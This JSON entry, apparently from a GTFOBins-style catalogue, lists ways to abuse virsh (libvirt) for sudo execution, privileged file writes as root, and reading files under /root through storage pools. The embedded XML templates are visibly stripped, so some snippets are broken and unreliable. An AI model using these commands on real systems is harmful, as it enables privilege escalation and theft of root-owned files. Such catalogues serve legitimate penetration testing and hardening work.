{
"functions": {
"sudo": [
{
"code": "TF=$(mktemp)\ncat > $TF << EOF\n\n x\n \n hvm\n \n 1\n \n \n \n \n \n\nEOF\nsudo virsh -c qemu:///system create $TF\nvirsh -c qemu:///system destroy x\n"
}
],
"file-write": [
{
"description": "This requires the user to be in the 'libvirt' group to perform privileged file write. If the target directory doesn't exist, 'pool-create-as' must be run with the '--build' option. The destination file ownership and permissions can be set in the XML.",
"code": "echo '[data]' > [data_to_write]\n\nTF=$(mktemp)\ncat > $TF <\n y\n [dir]/[file]\n \n 5\n 4096\n 5\n \n [dir]/[file]\n \n \n 0600\n 0\n 0\n \n \n\nEOF\n\nvirsh -c qemu:///system pool-create-as x dir --target [dir]\nvirsh -c qemu:///system vol-create --pool x --file $TF\nvirsh -c qemu:///system vol-upload --pool x [dir]/[file] [data_to_write]\nvirsh -c qemu:///system pool-destroy x\n"
}
],
"file-read": [
{
"description": "This requires the user to be in the 'libvirt' group to perform privileged file read.",
"code": "virsh -c qemu:///system pool-create-as x dir --target /root\nvirsh -c qemu:///system vol-download --pool x [file] [file_to_save]\nvirsh -c qemu:///system pool-destroy x\n"
}
]
}
}